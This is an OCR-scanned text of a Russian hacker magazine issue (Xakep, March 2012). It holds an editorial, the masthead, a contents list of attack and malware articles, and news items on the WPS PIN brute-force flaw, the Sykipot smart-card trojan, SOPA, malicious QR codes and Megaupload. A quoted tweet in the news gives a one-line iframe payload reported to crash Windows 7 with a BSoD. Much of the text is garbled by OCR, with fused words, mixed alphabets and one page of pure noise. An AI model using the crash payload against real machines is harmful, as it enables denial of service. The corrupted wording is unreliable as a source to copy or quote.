148

Xakep 03_2012

Embed Size (px)

DESCRIPTION

Xakep journal

Citation preview

Page 1: Xakep 03_2012

Исчерпывающий гид по

шоппингу в китайских

интернет-магазинах

Page 2: Xakep 03_2012
Page 3: Xakep 03_2012

ПРИВЕТ С АНТАРКТИДЫ Две недели назад получил особенное электронное письмо, которое

меняпо-хорошемутронуло и заставило задуматься о вечном. Писал

СерегаСильнов-редактор рубрики «Фри кинг>>, который еще

в прошлом годуотправился в научную экспедицию вднтактиду.

Письмо стало особенны м, потому что отправлено почти с южного

полюса и передано по коротковолновой связи со скоростью -50 бод через неком мерческую радиолюбительскую сеть Wl N Ll NK. В письме Сергей передавал приветы и рассказывал о своих впе­

чатлениях , которые в таком необычном месте рождаются от самых

простых вещей.

Впрочем, вся эта романтика была лишь сопутствующей вещью для

Сергея, ведь он приехал туда в составе экспедиции, которая должна

была пробурить 3 768 метров льда и ответственно дотянуться до подледного озера Восток, не навредив ему. Озеро действитель­

но огромное: 250 километров в длину, 50-в ширину, и до 1.2-в

глубину. Учитывая , что оно было изолировано от внешнего мира

сотни тысяч лет, вопросы об обитающих в этом озере формах жизни

и о том, что вообще там происходит, -чертовски интересны: до­

стоверно об этом человечеству ничего не известно . Не так уж много

осталось на планетенеизученных уголков,- и вот озеро Восток

являетсяоднимиэтаких объектов.

Какова же была моя радость, когда сегодня [5 февраля) я прочел но­вость о том, что российская экспедиция достигла ус пеха идобурила

эту скважину, реализовав проект, длившийся более 30 лет! Чертов­ски горд за Сергея и его коллег-российских ученых, работающих

в этой экспедиции и решившихтакую сложную задачу! Выполняю

его просьбу: передаю привет всем читателям Х с Антарктиды : ).

P.S. Сергей обещал сделать фотографию с вытоптанным в снегу на фоне полярной станции логотипом Хакера. Ждем его возвра­

щения:).

ХАКЕР 03/158/2012

nikitozz, rn. ре д. Х shop.glc.ru/xakep

vkontakte.ru/xakep mag

-пF.нЕР _. .... РЕДАКЦИЯ Главный редактор

Шеф-редактор

Выпускающий редактор

Редакторы рубрик

PC_ZONE и UNITS взлом

Никита (<nikitozz)) Кислицин [nikitoziOreal.xakep ru ) Степан ((step)) Ильин lstepfareal.xakep.ru ) Николай ((gorl)) Андреев [gorlumrarea l.xakep. гu l

Степан ((step)) Ильин [email protected]) Маг (maggiOreal.xakep.ru)

UNIXOIO и SYN/ACK MALWARE КОДИНГ

Андрей ((Andrushock» Матвеев landrushockiOreal.xakep.ru ] Александр «Dr. Кlouniz» Лозовский lalexanderlё!real.xakeo . ru ] Николай <<gогi>>Андреев [gorlumffireal.xakep.ruJ

РR-директор

Литературный редактор

DVD Выпускающий редактор

Uniх-раздел

Security-paздeл

Монтаж видео

ART Арт-директор

Дизайнер

Верстальщик

Иллюстрация на обложке

PUBLISHING

Анна Г риrорьева [grigorievafaglc.ru ] Елена Болотникова

Антон с<аnt>>Жуков (antrareal xakep.ru ] Андрей «Andrushock" Матвеев [andrushockffireal.xakep.ru) Дмитрий «01g1 >>Евдокимов [email protected]) Максим Трубицын

Алик Вайнер 1~1 Егор Пономарев

Вера Светлых

Александр Брички н

Учредитель 000 «Г ей м Лэнд>>, 115280, Москва, у л. Ленинская Слобода, 19, Омега nлаза, 5 этаж, офис N<> 21. Т ел.: (4951935-7034, факс: (4951545-0906

Генеральныйдиректор

Генеральный издатель

Финансовый директор Директор по маркетингу

Управляющий арт·директор

Главныйдизайнер

Директор по nроизводству

РАЗМЕЩЕНИЕ РЕКЛАМЫ

Дмитрий Агарунов

Андрей Михайлюк

Андрей Фатеркин

Елена Каркашадзе

Алик Вайнер

Энди Тернбулл

Сергей Кучерявый

Т ел.: (4951935-7034, факс: (4951545-0906

РЕКЛАМНЫЙ ОТДЕЛ Директор груnnы TECHNOLOGY Старшие менеджеры

Менеджер

Директор корпоративной группы

Старший менеджер

Менеджер

Старший трафик·менеджер

Марина Филатова (filatovaiOglc.гu l Ольга Емельянцева (olgaemiiOglc . гu l Оксана Алехина falekhinaraglc.rul Елена Поликарпова (polika rpovalё!glc.ru )

[работа с рекламными агентствами] Кристина Т атаренкова [tatarenkovafOglc.ru ] Юлия Г ос подинова fgospoфnovafOglc .ru ] Мария Дубровская (dubгovskayaiOglc гu l Марья Буланова [bulanovaГclglc:.ru )

ОТДЕЛРЕАЛИЭАЦИИСПЕЦПРОЕКТОВ Директор

Менеджеры

РАСПРОСТРАНЕНИЕ Директор по дистрибуции

Руководитель отдела nодписки

Руководитель

спецрасnространен и я

Александр Коренфельд lkoгenfeldiOglc . гu l Светлана Мюллер

Наталия Т улинова

Кошелева Татьяна [koshelevalaglc.ru l Клепикова Виктория Oepikovalё!glc . ru )

Лукичева Наталья Hukichevafaglc.ru ]

Претензии и дополнительная ин фа:

В случае возникновения вопросов по качеству печати и ОVО-дисков: claimlё!glc.ru .

Горячая линия по подnиске

Факсдля отправки купонов и квитанций на новые подписки: [495] 545-09-06 Телефон отдела подnискидля жителей Москвы: [495) 663-82-77 Т елефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-3-999 Дnя nисем: 101000, Москва, Главnочтамт, а/я 652, Хакер

Зарегистрировано в Министерстве Российской Федерации по делам nечати, телерадиовещанию

и средствам массовых коммуникаций ПИЯ 77-11802 от 14.02.2002.

Отпечатано в тиnографии Scanweb, Финляндия. Т и раж 219 833 экземпляров.

Мнение редакции не обязательно совпадаете мнением авторов. Все материалы в номере предоставляются как информация к размышлению. Лица, использующиеданную информацию в nротивозаконных целях, могут быть nривлечены к ответственности. Редакция не несет ответ­

ственности за содержание рекламных объявлений в номере.За nереnечатку наших материалов без

спроса- nреследуем.

По воnросам лицензирования и nолучения nрав на использование редакционных материалов

журнала обращайтесь по адресу: contentragtc.ru.

© 000 «ГеймЛзнд», РФ, 2012

001

Page 4: Xakep 03_2012

Content 1АМИЛЛИНОВАМЕРИКАНЦЕВ

РЕГУЛЯРНО ПОЛЬЗУЮТСЯ ТЕХНОЛОГИЕЙ ОR-КОДОВ

HEADER 004

011

MEGANEWS Все новое за последний месяц

hacker tweets Хак-сценавтви ттере

COVERSTORY

018 Ломаем Wi-Fi за 10 часов Получаем WPA-ключ для Wi-Fi с помощью уязви-

мой технологии

WPS

016

017

Колонка Степы Ильинна

О хранении паралей

Proof-of-concept

008

Задач а: собрать интересные данные с PasteЬin . com

COVERSTORY

030

COVERSTORY

02, Расщепляй и

властвуй

Уязвимости рас-

щепления за про-

са и внедрения

заголовков в со-

временном вебе

Большая охота

Интервью с ведущим хед­

хантером рунета

Page 5: Xakep 03_2012

048

PCZONE 038 В Китай за покупками?

Семь китайских интернет-магазинов со всякой всячиной

042 Проверка на прочность

Тестируем универсальную распознавалку САРТСНА

048 Фреймворкдля пентестера

Тестируем безопасность веб-приложения с помощью

wЗaf

- взлом 052 Easy-Hack

Хакерекие секреты простых вещей

056 Обзорэксплоитов

Анализ свеженькихуязвимсетей

062 РНР-бот для Windows Кодим бота для распределенных вычислений

066 1 сап сгасk it! Решение заданий для хак-конкурса, учрежденного

Управлением правительстве н ной связи

Великобритании

070 Фальшивые SMS: похудей за 30 дней! Всяподноготная известноголохетро н а

074 X-Tools Программы для взлома

- MALWARE 076 Веселая тройкабуткитов

Самыетехнологичные угрозы 2011 года в веселых картинках

082 Малварьдля мобильных <<окошек»

Исследуем модель безопасности п опулярной ОС

длясмартфоновнапрактике

КОДИНГ

088 Формграббердля Google Chгome Исследуем отправку зашифрованных форм

и способ их перехвата в браузе ре от Google 094 И целого Си мало

Расширяем возможности препроцессора С/С++

с помощью сторо н него кодегенератора

096 3адачинасобеседованиях

П одборкаинтересныхзаданий,которыедают

на собеседованиях

100 Паттерны проектирования <<Адаптер» и «Фасад»

Меняем и нтерфейсы классов без ущерба для здоровья

- UNIXOID 104 Свободачерезизоляцию

Из чего состоят безопасные Liпuх -дистрибутивы

108 Федоринасчастье

Мини-обзор заслуживающих внимания изме н е н ий

в последних версиях Fedoгa

11 О Достучаться до небес

Интегрируем Liпux и <<облачные» сервисы

- SYN/ACK 114 В поискахинсайдера

Борьба с утечками корпоративной информа ции

120 Корпоративныесвязи

Опенсорсные решения для централизованного

управления доступом к ресурсам

124 Испытаниенагрузкой

Создаем высокопроизводительный сайт

с использованием nginx и Django

- FERRUM 130 От <<винта » !

Тестирование внешних жесткихдисков с USB 3.0 136 Ed i f i eг R2500

Обзор универсальной активной стереосистемы 2.0 138 WEXLER.BOOKТ7055

-140

143

144

110

И шве ц , и жнец, и на дуде игрец с ц ветным

сенсор н ым дисплеем

юниты

FAQUNIТED

Большой FAQ Диско

8.5 Гб всякой всячины WWW2 Удобные wеЬ-сервисы

Page 6: Xakep 03_2012

MEGANEWS НОВАЯ ДЫРКА В WPS ОБЛЕГЧАЕТЗАДАЧУХАКЕРАМ БРУТФОРСИМ ЛЕГКО И БЫСТРО

а

Отметим, что ни один

из производителей, продукты которых

подвержены уязви­

мости, не выпустил

ее исправление .

В своей статье Вибок пишет, что лучшим

способом борьбы

с дыркой на данный моментявляется

отключениеWРS .

Yota

КОМПАНИЯ <<СКАРТЕЛ>>

(БРЕНД УОТА) ЗАПУСТИЛА

В НОВОСИБИРСКЕ nервую

сеть LTE в России . Сейчас

сеть включает6З базовые

станции, но к марту их уже

станет150.

001,

н еприятнуюуязвимостьна­

шел в с тандарте WPS [Wi- Fi Pгotected Setupl исследо­

ватель в области информационной

безопасности Стефан В и бок, о чем

и поспеш и л уведомить U S-CERТ.

Дырка присутствует в продуктах мно­

гих популярных брендов, в том числе

0-Link, Netgeaг, Linksys и Buffalo. Она позволяет ощутимо сократить время,

уходящее на брутфорс РIN-кода,

который необходим для установки

беспроводного роутера. В результате

о ш ибки к атакующему возвращается

слишком много информации о РIN­

коде, а сам он становится слабее,

что не гативно влияет на защиту

тысяч, если не миллионов Wi-Fi­ма ршрут изаторов и точек доступа.

В US-C ERT поясняют: «Если nроверка подлинности РIN-кода завершилась

неуда ч но, точка доступа посылает

сообще н ие EAP-NACK н азад клиенту. Эти сообщения пересылаются таким

образом,чтохакеруудаетсяопреде­

лить, является ли первая половина

РI N - код а в ер н ой. Посл едняя цифра

уже известна, так как она являет-

ся контрольной суммой РIN-кода.

Все это зна ч ительно сокращает

количест во п опыток, требуемыхдля

усnеш н ого брутфорса: о н о снижается

с 10'8 до 10'3 + 10'4, то есть до 11 ты­сяч>>. Подробнее об этом ты можешь

п рочитать в одной из статей рубрики

Соvе г Stогуэтого н омера.

ПОРТЫ СТАНДАРТАUSВЗ.О ПРОИЗВОДИТЕЛЬ LINUX-СКОРО, наконец, nоявятся ДИСТРИБУТИВАМАNDRIVА,

на смартфонах и nланше- контролируемый российским

тах.ПоинформациисСЕS, фондом NGI, скоро может nроизойдет это в конце 2012- объявить о банкротстве.

го или в начале 2013 года. Увы, дела у комnании совсем

nлохи .

GOOGLE ОБВИНЯЮТ В НАРУШЕНИИ ШЕСТИ ПАТЕНТОВ. Истцом выстуnает Bг i t i sh

Telecom -одна из круnнейших в мире телекоммуникационных комnаний.

ТРОЯ Н ОХОТИТСЯ НА С МАРТ-КАРТЫ ВОЕННЫХ МАЛВАРЬ, ИСПОЛЬЗОВАВШАЯСЯ ДЛЯ АРТ -АТАК,

СМЕНИЛА ПРОФИЛЬ

D троянце Sykipot, казалось бы, нет ничего особен­ного- малварь, ориент ирова нная на п охищение

данных о смарт-картах, не нова . Но не каждый

деньувидишь малварь, цель которой - смарт-карты

сотрудников Министерства обороны США и п олучение

с их помощьюнесанкционированного доступа к о г ра­

ниченным ресурсам. Именно такие модификации в коде

Sykipot обнаружили специалисты компании AlienVault. Одна из новых функций троянца обеспечи вает взаимо­

действие с ПО Activ ldentity ActivC ii ent, которое как раз работает со смарт-картами, соответс т вующими ста ндар­

там безопасности Минобороны С Ш А. В американском

Минобороны такие карточки используются для хранения

цифровых сертификатов работников и их РI N-кодо в , nри­

ме н яемыхдля аутентификации. В резул ьтатетехнического

анализа специалистам AlienVault удалось в ыяснить, что новый вариант кода скомпил ирован еще в марте 2011 года, но он до сих пор был не слишком широко распространен.

Он способен перехватыватьданные о серт ификатах и п ри

помощи встроенного кейло ггера снимать дан н ые о в во­

димых РIN-кодах. После перехвата Sykipot переправляет краденую информацию на защищенные ресурсы в Китае.

Это, в п рочем, н е говорит о том, что пол у чатели да н ных

тоже находятся в КНР.

@wЗbdЗvil

<iframe height='18082563'></i causes а BSoD on \vi.n 7 х64 via Lol!

WINDOWSPHONE MARKETPLACE nерешагнул отметкув50тысячnри-

ложений. На это магазину

nонадобилось14месяцев

(Andгoid Maгket в свое время

nотребовалось 19).

KOMAHДAIPHONE DEV-ТЕАМ, наконец-то, выnустила

джейлбрейк nод iOS 5.01 для iPhone45 и iPad 2. За nервые тридняутилитускачало

более одного миллиона

человек.

ХАКЕР 03 /158/ 2012

Page 7: Xakep 03_2012

;;; ... N N ..; ш u u ~ 1-

=il :J: а.. о LO u :..: < :!Е

х LO :!Е L-:J: ш :..: :s: а.. LO

~ :J: ш 1-1-ш а..

~ :s: u < :!Е

~ :!Е ш ш а..

:!Е ш

а а.. 1-:J: о :..:

g 1::

о :J: ш с: 111 о 1-

е м :s: .

Реклама . Товар произведен в соответствии с Техническим Регламентом на табачную продукцию.

~~dдr~~~~~r~d~~т~~ r~~~~~ ~rrд~~rrжд~rт: ~ ~rt~~t ~rtд~т ~~шtм~ dд~r~~ью

Page 8: Xakep 03_2012

MEGANEWS 23% МИРОВОГО ОБЪЕМА ВЫПУСКА ФЛЭШ-ПАМЯТИ NAND скупила в четвертом квартале прошлого года Apple.

ПЛАНШЕТ, ПРИСТАВКА ИЛИ ЧТО-ТО ДРУГОЕ? СМЕЛЫЙ КОНЦЕПТ ОТ RAZER

nредварительно озвученыследую­

щиетехнические ха­

рактеристики : экран

размером 10,1 дюйма и разрешением 1280 х 800 пикселей , много­

канальнаязвуковая

подсистема Dolby 7.11проектируемая вместесТНХI. сред­ства беспровод-

ного подключения

Wi-Fi802.11b/g/n и Bluetooth 3.0. Планируется также использоватьаксе­

лерометры и сенсор­

ный экран .

в м ериканекая компания Rаzегхорошо известна во всем мире !в том чис­

ле и в России] как производитель периферийных игровых устройств и принадлежностей. И нужно заметить, хороших- пока я п ишу эту но­

вость, моя рука как раз лежит на мышке от Razer. Тем интереснее и неожиданнее былоувидеть Project Fiоnа-проект, над которым в комnании работаютсейчас и который был nредставлен на выставке CES 2012. Эта концеnция nредставляет собой игровой nланшет, ориентированный на игры, на иболее nоnулярные сей­

час на ПК. то есть на игры <<nрожорливые>> и мощные . Устройство nланируется

оснастить «интуитивными элементами уnравления» !кнопками и аналоговыми джойстиками] с силовой обратной связью. Где именно и как они будут расnоло ­жены, хорошо видно на иллюстрации. А гла вн ое, основой Pгoject Fi ona должен стать nроцессор lпtel Соге i7 третьего поколения. Заявлено, что по этому вопро­су компания тесно сотрудничаете lntel. Этот ходдолжен устранит ь проблему

с нехваткой игр для планшета- идея заключается в том, что практически все

существующие игры смогут работать на устройстве без какой-либо nеределки

или доработки. Ты скажеш ь. что этотолько концепт. и будешь не прав. Специа­

листы Rаzегпочти готовы показать работающие образцы. Предполагается, что

поставки устройства начнутся уже в четвертом квартале текущего года. Стоить

планшет должен не более $1000.

ВЗЛОМАН КРУПНЕЙШИЙ ОБУВНОЙ ИНТЕРНЕТ-МАГАЗИН В США.

ZAPPOS.COM УВЕДОМИЛ 2' МЛН КЛИЕНТОВ О ТОМ, ЧТО БД МА­ГАЗИНА ВЗЛОМАНА И ИНФОР­МАЦИЯ О НИХ МОГЛА ПОПАСТЬ В РУКИ ХАКЕРОВ

006

РАССМОТРЕНИЕSОРА И РIРАОТЛОЖЕНО О МАСШТАБНОЙ ОНЛАЙНОВОЙ АКЦИИ ПРОТЕСТА И ЕЕ РЕЗУЛЬТАТАХ

m ы уже рассказывали о «чудесны х» американских

закон о nроектах SOPA IStop Online Рiгасу Act] и PIPA IPROTECT lntellectual Ргорегtу Act], nородивших

волну негодования не только на Заnаде, но по всему миру. Для

тех. ктоумудрился все про nустить. напоминаем: законопро ­

екты обязывают всех участни ков сети интернет lпровайдеры, хостинги , п оисковы е с и стемы и пр.] по первомутребованию правообладателя !без решения суда] удалять пиратский

контент и прекращатьлюбые вза имоотношения с nират­

екими сер висам и. Платежные системы обязаны отключить

возможность перевода де н е г, поисковики -удалить ссылки

на сайты и т. д . В случае невыполнения этихтребований ты

считаешься соучастником и твой сайт могуттакже закрыть

без суда и следствия. Кстати, иностранные сайты, сервера

которых расположены в США. будут нести такую же ответ­

ственность за нелегальный контент, как если бы они были

учреждены в Штатах. Более подробно с законо nроектами

и их возможными последствиями можно ознакомиться хотя

бы в В икипедии, а нас сейчас больше интересуют nослед­

ствия. П оняв, что «СОПАблизка », крупные американские

корnорации ощутили угрозу для себя любимых . За дра ко­

новские меры выступили, к примеру, М РАА, RIAA и альянс BSA !членами которого являются Microsoft, Apple, Adobe, lпt el и т. д.]. Зато против выеказались Google. Twitteг, Mozi lla, Facebook, Yahoo, еВ ау и другие представители интернет­индустрии. Чем ближе становился «деньХ», на который было

запланированорассмотре ние зако нопроектов в Конгресс~

тем больше накаляли с ь страсти. В осемнадцатого января

в интернете прошла, пожалуй, самая массовая онлайновая

акция протеста за все время его существования. Англоя­

зычная Википедия nровела самый масштабный в истории

опрос, nодавляющее большинство участников которого

поддержало отключение англоязычного раздела на сутки

в знак протеста. Reddit приостановил работу. Google прикрыл свойлоготип черным прямоугольником цензуры . Поддержа­

ли протести в WoгdPгess. В целом к акции протеста Ыackout

примкнулитысячи сайтов по всему миру. Н еспадко пришлось

и сторонникам SOPA. Та к. крупнейший в мире регистратор

GoDaddy, nоддерживавший SOPA, подвергся жесткомубой­

котуса стороны интернет-сообщества: пользователи приня­

ли сь тысячами уводить свои домены от GoDaddy. Регистратор оценил ситуацию и поспешил отказаться отсвоих слов,

но позже в интервью TechCrunch выяснил ось. что GoDaddy nо-nрежнему поддерживаетSОРА ... В общем , отток доме нов

продолжается и сейчас.

Сдался nоддавлением народного негодования и альянс

BSA, заявивший , что SOPA «требует доработки ». П отом,

уловив тенденцию. «передумали» и сенаторы, ратовавшие

за а нтипиратские законоnроекты. В осем ь американских

законодателейотказались п оддерживать SOPA nосле 18 января и Ыackout'a, некоторые и вовсе встали на сторону протестующих. И что в итоге? Конгрессмен Ламар Смит, из­

начально nредставивший законоnроектSО РА. отозвал его,

признав, что в нынешнем виде закон не можетбыть принят.

Рассмотрение закон оnроекта было отложено. PIPA nо­сти гла та же участь. Можно ли назвать это nобедой? Вряд ли.

Л оббисты и копирасты рассержены, н о останавливаться они

несобираются,полагая,чтосенаторов«затерроризировала

бло госфера». Теперьлоббисты намере ны немного nересмо­

треть n одход к проблеме. Звучит зловеще.

ХАКЕР 03/158/2012

Page 9: Xakep 03_2012

7ФИШЕК

BUFFALO CLOUDSTATION

Удобный бэкап

Традиционно для решений Buffalo бэкаn данных с клиентских машин

орагниэовывается очень nросто. При

этом nоддерживается как Windows, так и МАС 05. Устро йство nоль-ностью совместимо с эnnловской

технологией Time Machine.

Припожения дпя

iOS и Android Приложение Webaccess соз­дано для удаленного достуnа

с мобильных устр ойств к дан­

ным, хранящИмся на решениях

фирмы Buffalo. Одновременно nоддерживается несколько

хра нилищ, а само nриложение

умеет работать с файлами всех

nоnулярных форматов: от ви­

део, фотографий и музыки до

раз ноформатны х документов.

ХАКЕР 03/158/2012

Собственный

облачный сервер

Buffalo CloudStation- это не nросто традиционный NAS. Хранилище nозволяет легко организовывать удаленный достуn к

данным через интернет nрактически с любых

устройств: как со стационарного комnьютера,

так и с мобильных девайсов.

Перекодировка

медиафайлов

Bu ffalo CloudStation умеет авто -

матически кодировать весь виде­

оконтент в нужном размере nри

удаленном достуnе с мобильных

устройств. Та ким образом, можно

удобно смотреть, наnример,

видео на айфоне, не задумываясь

о nерекодировке файлов.

Большой объем

и энергоэффективность

Устройство nозволяет разместить

в себе один диск SATA-11 объемом от 1 до 2 Тб. Среднее энерго­

nотребление nри этом не будет

nревышать 26 Вт. При текущих расценках на электроэнергию , в

год это nозволяет экономить до 4 тысяч рублей, если сравнивать с

обычным ПК .

Производительная

конфигурация

Несмотря на комnактные размеры

[15Dx175x45 ммl , сетевое хранилище оснащено довольно nрои зводитель­

ным жел езом, которое nозволяет не

только организовать быстрый сете­

вой достуn к файлам, но и реализо-

вать другие nолезные функции.

Встроенный

BitTorrent-клиeнт

Как и большинство со-

временных NAS'oв, Buffa lo CloudStation оснащен встро­ен ным ВitТоггеnt-клиентом с

удобным wеЬ-интерфейсом.

Эту функцию по достоинству

оценят любители интенсивно­

го р2р-обмена: качать торрен­

ты станет в разы удобней.

007

Page 10: Xakep 03_2012

MEGANEWS ИНДОНЕЗИЙСКИЙ ХАКЕР HMEI7 дефейснул сразу шесть доменов верхнего уровня , принадлежащих компании S iemeпs.

QR-КОДЫ МОГУТ БЫТЬ ОПАСНЫ КИБЕРПРЕСТУПНИКАМ ТОЖЕ НРАВЯТСЯ НОВЫЕ ТЕХНОЛОГИИ

n рактически все интересныетехнологические

новинки рано или поздно оказываются «на служ­

бе» у криминала. Н е избежали этой участи и QR­коды,популярностькоторыхрастетвместесувеличением

продаж смартфонов, планшетов и других мобильных

девайсов.

Специалисты Websense ThгeatSeekeг Netwoгk об­наружили сп а м-сообщения, ссылающиеся на страницы

со вс т роенными QR-кодам и. П о всей в идимости, так с па­

меры обходят спам-фильтры и пытаются заставить nоль­

зователей открывать ссылки именно с помощью мобиль­

ных устройств. Сп а м выглядит как традиционная реклама

фар мы и содержитссылку на сайт 2tag .nl - в полне легаль­

ный сервис, позволяющий создавать QR - коды для URL­aдpecoв. Как только пользователь переходи т п о ссылке,

на экране отображается QR-код, а сnрава от него - адрес.

Когда nользователь считывает QR-код, его устройство

либо автоматически nереходит no зашифрованному адре­су, либо сnрашиваету юзера разрешение lв зависимости от версии QR-читалкиl . Эту особенность ле гко можно ис­

пользовать для распространения специфич н ой малвари

через уязвимостивмобильных браузерах : ведь обы ч но

эти коды сканируют именно с помощью смартфонов . Увы,

этот «виток эволюции>> в атаках на мобильные девайсы

предсказывали многие аналитики.

а

Поданным компа­ни исоm5соге, 14 млн амери канцев

в возрасте от 18 до З4л етре гулярно используют

свои мобильные

устрой ства дл я чтен и я QR-кодов .

А ведь еще недавно QR- коды были по­

пулярны в основно м

на Восто ке.

THUNDERBOLTтм

оов

ИНТЕРФЕЙСТНUNDЕRВОLТСКОРОДОБЕРЕТСЯДОПК HAБAЗEWINDOWS. Этy радостную весть сообщаетнам

издание DigiTime. По информации источника (данные о ко­тором не раскрываются), ряд <<железных» гигантов, таких

какSопу, Asus, Gigabyte Technologyи ASRock, уже активно внедряетТhundегЬоlt в свои nродукты. Новое железо

должно добраться до рынка в апрелетекущего года .

MEGAUPLOAD ВСЕ ФБРЗАКРЫЛООДИН ИЗ КРУПНЕЙШИХ ФАЙЛООБМЕННИКОВ

о пасный прецедент создан в США-ФБР закрыло

один из крупнейших Файлаобменников в сети

Megaupload, генерировавший, no его собствен­ным данным, около 4% всего интернет-трафика. Похоже на заголовок <<желтой>> новости , но, увы, это реальность.

По запросу американских спецслужб в Н овой Зеландии

также были арестованы основатель nроекта Ким Dotcom Шмитц и еще три человека. Каждому из них грозиттюрем­

ное заключение no трем обвинениям: 20 лет за мошенни­чество, 20 лет за отмывание денег и по пять лет за каждый случай нарушения копирайта! Помимо этого, выдвинуты

обвинения nротив трех граждан других стран. Эти люди

имели отношение к проектам компании. П о мнению

Де n артамента юстиции СШ А, Megaupload сnособствовал распространению пиратского контента . За пять лет рабо­

ты он якобы нанес индустрии развлечений ущерб в раз­

мере $500 млн в виде недоnолученной прибыли . Кроме того, файлаобменник породил <<криминальные денежные

потоки>> !от рекламы и продажи премиум-аккаунтовl насумму$175мл н.

Уже nоследовала реакция других ресурсов с аналогич­

ным функционалом : к nримеру, известный хостинг-сервис

FileSonic объявил о полном отключении файлаобменного функцианала !составляющего, заметим, его суть) : теперь

скачивать контент, загруженный другими nользователя­

ми, невозможно.

Отреагировала и «сетевая оппозиция>>-Апоnуmоus

атаковали сайты ФБР, Минюста США, Белого дома, RIAA, М РАА и ресурсы прочих организаций, из-за действий

которых был закрыт файлаобменный сервис.

РЯДНЕБОЛЬШИХКОММЕРЧЕ­

СКИХ IPV6-CETEЙ пла ниру­ется развернуть в Китае

к концу201 3 года. А уже

в 2015 году 1Рv6должен стать в Поднебесной стандартным

nротоколом .

ANDROIDINVASIONCOCCЫЛKOЙ НАПРОГРАММИСТАGООGLЕСО­

ОБЩАЕТ, что Google в с кором будущем может начать вы ­

пуск мобильных n роцессорав

nод собственнымтоварным

знаком.

ХАКЕР 03 / 158/2012

Page 11: Xakep 03_2012

итоги IGRDUPiB

КОНКУРСА НАСТАЛО ВРЕМЯ ПОДВЕДЕНИЯ ИТОГОВ НАШЕГО КОНКУРСА, КОТОРЫЙ МЫ ПРОВОДИЛИ СОВМЕСТНО С КОМПАНИЕЙ GROUP-IB, СПЕЦИАЛИЭИРУЮЩЕЙСЯ НА РАССЛЕДОВАНИИ ИНЦИДЕНТОВ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ.

Напомним, в рамках соревнования было необходимо провести расследование сразу двух !Т-инцидентов:

утечки конфиденциальных данных на предприятии, а так же взлома сервера на базе Liпux.

Победителями конкурса являются [в алфавитном порядке):

КОНСТАНТИН ИЛЬИН ст дент 5 курса Физико-технического

У НТУУ "Киевский политех-института нический институт", Киев.

Род занятий:

Комментарии nобедитеnя: е н на высоком техниче­«Конкурс понравился, провед шил после знакомства с ком ~ровне. Прдинятdь уч~~:~и~~сь хорошее впечатле­с фреимворком па пе, ние о квалификации организаторов».

К сожале нию, обещанный приз [трудоустройство в

Group-IBI не подошел ни одному из победителей: Константин учится в Киеве и пока не может переехать

в Москву, а Леонида полностью устраивает и текущее

место работы . Тем не менее, чтобы все было честно, мы

награждаем победителей ценными призами: каждый получает по iPad 2 Wi-Fi ЗG 16Gb.

~Еонид WАнин

Отчеты победителей

опубликованы на нашем сайте: www. xakep.ru/post/58241 1

Будь с нами!

Стань одним из нас!

Page 12: Xakep 03_2012

MEGANEWS FАСЕВООКВЫПУСТИЛ СО6СТВЕННЫЙ МЕССЕДЖЕР для Windows, а ВКонтактетем временем тестируетсерви с видеозвонков

ДВАДЦАТЬ СЕМЬ СТЕКЛЯННЫХДЮЙМОВ НОВИНКА ОТ SAMSUNG НА РLS·МАТРИЦЕ

н а прошедш ей недавно в Лас-Вегасе выставке

С Е5 2012 свои последние разработки продемон ­

стрировали топо в ые производители <<железа»

со всего мира. Интересного на СЕ5было много, но пере­числить все мы, к сожалению, не имеем возможности, так

что придется ограничиться малы м. Одной из самых ярких

новинок, представлен н ых на выставке, стал монитор

527В970 от компании 5amsuпg, продолжающий 9-ю

премиум - серию. Этот 27-дюймовый агрегат интересен

тем , что он работает на основе технологии PL5 IPiaпe L iпe 5witchingl. П о сути, это аналог IP5 lln-Piane 5witchingl oт5amsung . Так как I Р5-матрицы на данный момент

являются <<вершиной пищевой цепи», эта старая-новая

техноло гия заи нтересовала многих.

П ервый блин y5amsung, однако, вышел комом: два мо­нитора на РL5-матрице, представленные в прошлом году,

обладали букетом всех возможныхдефектов сборки, были

помещены в корпус из довольнодешевого пластика и в

результат е имели засвет ы, битые пиксели и т. п. П охоже,

тепер ь 5amsuпg решил а ис пр авить этот промах.

Модель 527 В 970 выпол нена в солидном и одновре­

менно с в ерхтонком корпусе, а все элементы управления

помещены в эргономичную алюминиевую подставку !там же находятся порты ввода - вывода и U 5 В -концентраторl , регулируемую по высоте. Диапазон регулирования

монитора 9-й серии по высоте составляет 10 см, плюс его можно н а клонять. П а н ел ь имеет ультравысокую четкость

QHD 12560 х 14401, поддерживаеттехнологии Display P oгt, Dual Liпk- DVI и Н DMI, а также оснащена стереодинамика ­

ми мощностью 7 Вт и интерфейсом MoЬile High Defiпition Link IM HLI для п одключения смартфонов и планшетных П К. Устройство п оддерживает эксклюзивную технологию

5amsung Nat uг al Соlог Е х р ег t , к в озмож н ост я м которой

относится аппаратная ка л ибровка цветов. 527 В 970

способен отображать более миллиарда оттенков, что

гарантирует высокий реализм и качество при отображе­

нии фотографий и видеороликов, сделанных с помощью

цифровой фото- или видеокамеры. Кстати, пресс-релиз

обещает, что инже н еры 5amsuпg вруч н ую будут на­

страи в ать цветопередачу каждого монитора серии 9 на окончательном этапе сборки. Кроме то го , вся площадь

дисплея также снабжена антибликовым стеклянным 111 покрытием. Да-да, с тарое доброе стекло с антибликом,

давненько мы такого не видели. Этот последний нюанс

должен особенно обрадо ватыех, чьи глаза чувствитель­

ны к так н аз ы ваемому <<к ри сталли ч ескому эффекту>> !он

же <<эффект мокрой тряпки >> !, который часто проявляется дажеутоповых современных дисплеев. Так как <<кристал­

лический эффект>> напрямую обусловлен матовостью па­

нели, у глянцевых мониторов он фактически отсутствует.

Здесь стоит заметить, что и первые образцы на базе PL5 вызвали немалое оживление утех, для кого прежде всего

важ н о комфортн ое для глаз изображение, все по той же

причине : РL5 -дисплеи с матовым экраном практически

не проявляли <<кристаллическо го эффекта>>.

Ожидается, что новинка поступит в продажууже в мар­

те текущего года lк сожалению, неизвестно, появится ли она также и в России!. Ориентировочная цена 527В970 составит $1199.

ЭТА МУЗЫКА БУДЕТ ВЕЧНОЙ. ПАТЕНТНЫЕ ВОЙНЫ ПРОДОЛЖАЮТСЯ

Разрешение : 2560х 1440 Глуб ина цвета : 1,07 млн цветов Яркость: 300 кд/м2 Равномерность )мин .): 90% Контрастность (статичес кая) : 1000:1 Время отклика (GTG): 5 м с Угол обзора (гор/верт.) : 178°/178°

